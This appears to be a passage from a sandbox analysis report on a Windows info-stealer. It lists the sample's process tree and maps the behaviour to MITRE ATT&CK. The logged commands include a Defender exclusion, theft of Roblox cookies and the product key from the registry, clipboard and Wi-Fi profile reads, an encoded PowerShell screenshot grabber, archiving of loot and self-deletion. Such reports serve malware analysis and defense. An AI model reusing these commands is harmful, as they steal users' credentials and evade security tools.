        Suspicious use of WriteProcessMemory
        
        PID:3684
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4460
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2852
      - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
        6⤵
        
        PID:3140
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4960
      - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
        6⤵
        
        PID:3048
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1076
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        Suspicious use of AdjustPrivilegeToken
        
        PID:4884
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:1104
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:1152
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\idcljz.exe""
        5⤵
        
        PID:3776
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\idcljz.exe"
        6⤵
        Views/modifies file attributes
        
        PID:1080
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‍‎ .scr'"
        5⤵
        
        PID:2272
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‍‎ .scr'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2916
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:1088
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:2024
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:2260
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:2984
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        5⤵
        
        PID:1548
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        6⤵
        
        PID:5396
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        
        PID:2152
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5368
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:4400
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:5444
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:3752
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1152
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:5428
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        5⤵
        
        PID:2196
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        6⤵
        
        PID:5420
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        5⤵
        
        PID:4692
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:5376
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
        5⤵
        
        PID:2512
      - C:\Windows\SysWOW64\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        6⤵
        
        PID:5388
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        5⤵
        
        PID:4172
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5476
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qud3th0a\qud3th0a.cmdline"
        7⤵
        
        PID:4960
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF2BC.tmp" "c:\Users\Admin\AppData\Local\Temp\qud3th0a\CSC6DD2EE6F7BB4DCF899780BB9C8ABB2D.TMP"
        8⤵
        
        PID:5708
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5564
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Views/modifies file attributes
        
        PID:5852
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5620
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:5860
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5896
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:6056
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:5960
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        6⤵
        Views/modifies file attributes
        
        PID:6080
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:2864
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:5408
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:5144
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:5224
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5164
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:1080
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:5792
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5816
      - C:\Windows\SysWOW64\tree.com
        
        tree /A /F
        6⤵
        
        PID:5188
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:4824
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6120
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        5⤵
        
        PID:8
      - C:\Windows\SysWOW64\getmac.exe
        
        getmac
        6⤵
        
        PID:5392
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:3640
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2532
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI46562\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\bSADY.zip" *"
        5⤵
        
        PID:1224
      - C:\Users\Admin\AppData\Local\Temp\_MEI46562\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI46562\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\bSADY.zip" *
        6⤵
        Executes dropped EXE
        
        PID:5624
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        5⤵
        
        PID:3504
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic os get Caption
        6⤵
        
        PID:5684
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        5⤵
        
        PID:1052
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        6⤵
        
        PID:3992
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:6068
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:3532
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        5⤵
        
        PID:5156
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1396
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:1336
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:3112
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        5⤵
        
        PID:3140
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5564
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\idcljz.exe""
        5⤵
        
        PID:6040
      - C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 3
        6⤵
        Runs ping.exe
        
        PID:5204
- - C:\Users\Admin\AppData\Local\Temp\ejwmxs.exe
    "C:\Users\Admin\AppData\Local\Temp\ejwmxs.exe"
    3⤵
    - UAC bypass
    - Sets file execution options in registry
    - Executes dropped EXE
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Writes to the Master Boot Record (MBR)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - System policy modification
    PID:2880

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:5420

C:\Users\Admin\AppData\Local\Temp\ejwmxs.exe
C:\Users\Admin\AppData\Local\Temp\ejwmxs.exe explorer.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:6124

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:6084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery